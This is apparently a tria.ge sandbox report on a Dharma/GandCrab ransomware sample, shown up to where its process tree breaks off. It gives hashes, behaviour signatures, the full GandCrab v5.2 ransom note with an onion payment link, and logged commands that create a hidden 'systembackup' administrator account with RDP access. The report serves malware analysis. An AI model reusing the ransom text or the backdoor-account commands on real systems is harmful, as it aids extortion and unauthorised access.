Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Resubmissions

05/02/2025, 09:34

250205-lj3hzaskdm 1

02/02/2025, 14:19

250202-rmz5xavnfw 4

02/02/2025, 14:17

250202-rl3veavnc1 4

02/02/2025, 00:22

250202-an9bjaynfr 10

02/02/2025, 00:12

250202-ahevqsylfm 10

02/02/2025, 00:08

250202-ae1m2awpbt 10

02/02/2025, 00:04

250202-acl2vsykbm 10

Analysis

  • max time kernel
    212s
  • max time network
    210s
  • platform
    windows10-ltsc 2021_x64
  • resource
    win10ltsc2021-20250128-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20250128-enlocale:en-usos:windows10-ltsc 2021-x64system
  • submitted
    02/02/2025, 00:08

Errors

Reason
Machine shutdown

General

  • Target

    b231263f-0b92-4f02-9e71-3d6a05534490.jpg

  • Size

    26KB

  • MD5

    99cfb36285d82796d745c8a199f6acff

  • SHA1

    ab990d5b00d7878178a6e77553152149ce4f56c3

  • SHA256

    afc3ff71d364c14eecc12918e7c00a435943005fc86dafa53da529f0a9c95285

  • SHA512

    3a9558a9e628aac5af58f98a9e7056fe5a2741517067f0f9ebac9a800d6bd564433ab0b3910746f99e82573d2ba176241ce3d3b25961a6c27ae828c0d4defd26

  • SSDEEP

    768:Z3Bt4w6U03dxH1/ARsjefQIbwTj5pW0JPfmXkD+lakhXOsX0:Z3BtNZAdxHdARkef7bQ5I8POEqY

Malware Config

Extracted

Path

\Device\HarddiskVolume1\$RECYCLE.BIN\ADHLFQB-MANUAL.txt

Family

gandcrab

Ransom Note
---= GANDCRAB V5.2 =--- ***********************UNDER NO CIRCUMSTANCES DO NOT DELETE THIS FILE, UNTIL ALL YOUR DATA IS RECOVERED*********************** *****FAILING TO DO SO, WILL RESULT IN YOUR SYSTEM CORRUPTION, IF THERE ARE DECRYPTION ERRORS***** Attention! All your files, documents, photos, databases and other important files are encrypted and have the extension: .ADHLFQB The only method of recovering files is to purchase an unique private key. Only we can give you this key and only we can recover your files. The server with your key is in a closed network TOR. You can get there by the following ways: ---------------------------------------------------------------------------------------- | 0. Download Tor browser - https://www.torproject.org/ | 1. Install Tor browser | 2. Open Tor Browser | 3. Open link in TOR browser: http://gandcrabmfe6mnef.onion/a79f35db2daa3087 | 4. Follow the instructions on this page ---------------------------------------------------------------------------------------- On our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. ATTENTION! IN ORDER TO PREVENT DATA DAMAGE: * DO NOT MODIFY ENCRYPTED FILES * DO NOT CHANGE DATA BELOW ---BEGIN GANDCRAB KEY--- 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 ---END GANDCRAB KEY--- ---BEGIN PC DATA--- 7ftDEgLb/ZS0lcmZbHM61MfJ/AOjD4kKkA6dbt4gV3ZTWJkCyJ+qYGxxM2Dy9MbJL5C8AtSVhuDfRUzIfnQIQy2a87OozqwScugCapmXu6bpGM4pWUuiIh+glsQgqgTsvEgyXXNiOMECiUH/vFKeWqBHGCOgMof74iZHO8g3lWat0K4RG/pKEq7B0NlRsqWHBPUPIKZ0T4NKAyw0L67UDLhFyCPaB4Ime7E0Z6vMW93xgCz2453lUwF73txDWLwypoWo5y5HRnKOMLmBq1CWemWotVqynJKZt18USQXO8jBLmOz7/ICoGFcpH6ivRWcVN/fb0xhSWCCGtOWJINBiBn1q+sYzR7G3NrHFmYKRj0eFP43yrvNnLODjCKOzrwtWteZ0T0fJyfbtL2J07PeCS0OziaBcoUrFxp3xPESxjChBudnoMFoP6iSVwumuqBhvZ7wdrtgypC8G1fOlVjmZ7qh4BOwkgUqwPUyub+sf0dwlLRyjx7jbwFri9zPYKP6ghY2cWK3+6QkSvCeii4FEEvBEsSM8ANLhwdQQIEb1UkGayeyMap0I1hc/juQZexkEoXTwCpfrH9cnPEiVKMosLqkb8gmQcCyV+bDDEcWsE7TMnICaYEIhb5404FHNc2HS16JbDFjFyYHxqFFw20bTxJbG+XUNm/PKMfMFEsCdApjyzgZfSLpG71Q24V+XdGB87JLmQAJj8F0nypfwolyVuqVBdw4jyUtudMYuGERsC+Byu37qE6fmashM ---END PC DATA---
URLs

http://gandcrabmfe6mnef.onion/a79f35db2daa3087

Signatures

  • Dharma

    Dharma is a ransomware that uses security software installation to hide malicious activities.

  • Dharma family
  • Gandcrab

    Gandcrab is a Trojan horse that encrypts files on a computer.

  • Gandcrab family
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Remote Service Session Hijacking: RDP Hijacking 1 TTPs 2 IoCs

    Adversaries may hijack a legitimate user's remote desktop session to move laterally within an environment.

  • Renames multiple (113) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

  • Renames multiple (245) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

  • Downloads MZ/PE file 4 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Sets file to hidden 1 TTPs 1 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

  • Sets service image path in registry 2 TTPs 9 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Credentials from Password Stores: Windows Credential Manager 1 TTPs

    Suspicious access to Credentials History.

  • Drops startup file 3 IoCs
  • Executes dropped EXE 8 IoCs
  • Impair Defenses: Safe Mode Boot 1 TTPs 14 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Drops desktop.ini file(s) 15 IoCs
  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Password Policy Discovery 1 TTPs

    Attempt to access detailed information about the password policy used within an enterprise network.

  • Drops file in System32 directory 1 IoCs
  • Hide Artifacts: Hidden Users 1 TTPs 1 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 1 IoCs
  • Launches sc.exe 1 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Permission Groups Discovery: Local Groups 1 TTPs

    Attempt to find local system groups and permission settings.

  • System Location Discovery: System Language Discovery 1 TTPs 33 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 5 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies registry class 1 IoCs
  • NTFS ADS 3 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: LoadsDriver 32 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 18 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 9 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Windows\system32\mspaint.exe
    "C:\Windows\system32\mspaint.exe" "C:\Users\Admin\AppData\Local\Temp\b231263f-0b92-4f02-9e71-3d6a05534490.jpg"
    1⤵
    • Drops file in Windows directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of SetWindowsHookEx
    PID:1788
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DeviceAssociationService
    1⤵
      PID:2224
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
      1⤵
      • Enumerates system info in registry
      • NTFS ADS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3132
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x144,0x148,0x14c,0x120,0x150,0x7fff903646f8,0x7fff90364708,0x7fff90364718
        2⤵
          PID:4024
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2088,11218442354131105479,1821262018158688363,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2100 /prefetch:2
          2⤵
            PID:1068
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2088,11218442354131105479,1821262018158688363,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2284 /prefetch:3
            2⤵
            • Downloads MZ/PE file
            • Suspicious behavior: EnumeratesProcesses
            PID:2268
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2088,11218442354131105479,1821262018158688363,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2904 /prefetch:8
            2⤵
              PID:544
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,11218442354131105479,1821262018158688363,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3592 /prefetch:1
              2⤵
                PID:4464
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,11218442354131105479,1821262018158688363,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3600 /prefetch:1
                2⤵
                  PID:1688
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,11218442354131105479,1821262018158688363,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3348 /prefetch:1
                  2⤵
                    PID:1120
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,11218442354131105479,1821262018158688363,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2840 /prefetch:1
                    2⤵
                      PID:4544
                    • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2088,11218442354131105479,1821262018158688363,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3600 /prefetch:8
                      2⤵
                        PID:2344
                      • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2088,11218442354131105479,1821262018158688363,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3600 /prefetch:8
                        2⤵
                        • Suspicious behavior: EnumeratesProcesses
                        PID:4304
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,11218442354131105479,1821262018158688363,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5556 /prefetch:1
                        2⤵
                          PID:3852
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,11218442354131105479,1821262018158688363,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4580 /prefetch:1
                          2⤵
                            PID:868
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,11218442354131105479,1821262018158688363,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5820 /prefetch:1
                            2⤵
                              PID:4656
                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,11218442354131105479,1821262018158688363,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4580 /prefetch:1
                              2⤵
                                PID:3288
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,11218442354131105479,1821262018158688363,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5644 /prefetch:1
                                2⤵
                                  PID:4900
                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,11218442354131105479,1821262018158688363,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5912 /prefetch:1
                                  2⤵
                                    PID:4752
                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,11218442354131105479,1821262018158688363,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5848 /prefetch:1
                                    2⤵
                                      PID:4464
                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,11218442354131105479,1821262018158688363,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5656 /prefetch:1
                                      2⤵
                                        PID:744
                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,11218442354131105479,1821262018158688363,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5644 /prefetch:1
                                        2⤵
                                          PID:1904
                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2088,11218442354131105479,1821262018158688363,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=6108 /prefetch:8
                                          2⤵
                                            PID:1460
                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,11218442354131105479,1821262018158688363,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6112 /prefetch:1
                                            2⤵
                                              PID:2276
                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,11218442354131105479,1821262018158688363,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6092 /prefetch:1
                                              2⤵
                                                PID:4916
                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2088,11218442354131105479,1821262018158688363,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4228 /prefetch:8
                                                2⤵
                                                • Suspicious behavior: EnumeratesProcesses
                                                PID:4236
                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=2088,11218442354131105479,1821262018158688363,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6628 /prefetch:8
                                                2⤵
                                                  PID:4576
                                                • C:\Users\Admin\Downloads\Dharma.exe
                                                  "C:\Users\Admin\Downloads\Dharma.exe"
                                                  2⤵
                                                  • Checks computer location settings
                                                  • Executes dropped EXE
                                                  • System Location Discovery: System Language Discovery
                                                  PID:464
                                                  • C:\Users\Admin\Downloads\ac\nc123.exe
                                                    "C:\Users\Admin\Downloads\ac\nc123.exe"
                                                    3⤵
                                                    • Executes dropped EXE
                                                    • Enumerates connected drives
                                                    • System Location Discovery: System Language Discovery
                                                    PID:1648
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c cls
                                                      4⤵
                                                      • System Location Discovery: System Language Discovery
                                                      PID:2060
                                                  • C:\Users\Admin\Downloads\ac\mssql.exe
                                                    "C:\Users\Admin\Downloads\ac\mssql.exe"
                                                    3⤵
                                                    • Sets service image path in registry
                                                    • Executes dropped EXE
                                                    • Impair Defenses: Safe Mode Boot
                                                    • Suspicious behavior: LoadsDriver
                                                    • Suspicious use of AdjustPrivilegeToken
                                                    • Suspicious use of SetWindowsHookEx
                                                    PID:2232
                                                  • C:\Users\Admin\Downloads\ac\mssql2.exe
                                                    "C:\Users\Admin\Downloads\ac\mssql2.exe"
                                                    3⤵
                                                    • Executes dropped EXE
                                                    • System Location Discovery: System Language Discovery
                                                    • Suspicious use of AdjustPrivilegeToken
                                                    • Suspicious use of SetWindowsHookEx
                                                    PID:4236
                                                  • C:\Windows\SysWOW64\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\ac\Shadow.bat" "
                                                    3⤵
                                                    • System Location Discovery: System Language Discovery
                                                    PID:216
                                                  • C:\Windows\SysWOW64\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\ac\systembackup.bat" "
                                                    3⤵
                                                    • System Location Discovery: System Language Discovery
                                                    PID:5044
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c WMIC Group Where "SID = 'S-1-5-32-544'" Get Name /Value | Find "="
                                                      4⤵
                                                      • System Location Discovery: System Language Discovery
                                                      PID:3480
                                                      • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                        WMIC Group Where "SID = 'S-1-5-32-544'" Get Name /Value
                                                        5⤵
                                                        • System Location Discovery: System Language Discovery
                                                        • Suspicious behavior: EnumeratesProcesses
                                                        • Suspicious use of AdjustPrivilegeToken
                                                        PID:4860
                                                      • C:\Windows\SysWOW64\find.exe
                                                        Find "="
                                                        5⤵
                                                        • System Location Discovery: System Language Discovery
                                                        PID:5068
                                                    • C:\Windows\SysWOW64\net.exe
                                                      net user systembackup Default3104 /add /active:"yes" /expires:"never" /passwordchg:"NO"
                                                      4⤵
                                                      • System Location Discovery: System Language Discovery
                                                      PID:3340
                                                      • C:\Windows\SysWOW64\net1.exe
                                                        C:\Windows\system32\net1 user systembackup Default3104 /add /active:"yes" /expires:"never" /passwordchg:"NO"
                                                        5⤵
                                                        • System Location Discovery: System Language Discovery
                                                        PID:3276
                                                    • C:\Windows\SysWOW64\net.exe
                                                      net localgroup Administrators systembackup /add
                                                      4⤵
                                                      • System Location Discovery: System Language Discovery
                                                      PID:464
                                                      • C:\Windows\SysWOW64\net1.exe
                                                        C:\Windows\system32\net1 localgroup Administrators systembackup /add
                                                        5⤵
                                                        • System Location Discovery: System Language Discovery
                                                        PID:4080
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c WMIC Group Where "SID = 'S-1-5-32-555'" Get Name /Value | Find "="
                                                      4⤵
                                                      • System Location Discovery: System Language Discovery
                                                      PID:4044
                                                      • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                        WMIC Group Where "SID = 'S-1-5-32-555'" Get Name /Value
                                                        5⤵
                                                        • System Location Discovery: System Language Discovery
                                                        • Suspicious behavior: EnumeratesProcesses
                                                        PID:3756
                                                      • C:\Windows\SysWOW64\find.exe
                                                        Find "="
                                                        5⤵
                                                        • System Location Discovery: System Language Discovery
                                                        PID:1112
                                                    • C:\Windows\SysWOW64\net.exe
                                                      net localgroup "Remote Desktop Users" systembackup /add
                                                      4⤵
                                                      • Remote Service Session Hijacking: RDP Hijacking
                                                      • System Location Discovery: System Language Discovery
                                                      PID:3792
                                                      • C:\Windows\SysWOW64\net1.exe
                                                        C:\Windows\system32\net1 localgroup "Remote Desktop Users" systembackup /add
                                                        5⤵
                                                        • Remote Service Session Hijacking: RDP Hijacking
                                                        • System Location Discovery: System Language Discovery
                                                        PID:2824
                                                    • C:\Windows\SysWOW64\net.exe
                                                      net accounts /forcelogoff:no /maxpwage:unlimited
                                                      4⤵
                                                      • System Location Discovery: System Language Discovery
                                                      PID:2060
                                                      • C:\Windows\SysWOW64\net1.exe
                                                        C:\Windows\system32\net1 accounts /forcelogoff:no /maxpwage:unlimited
                                                        5⤵
                                                        • System Location Discovery: System Language Discovery
                                                        PID:1668
                                                    • C:\Windows\SysWOW64\reg.exe
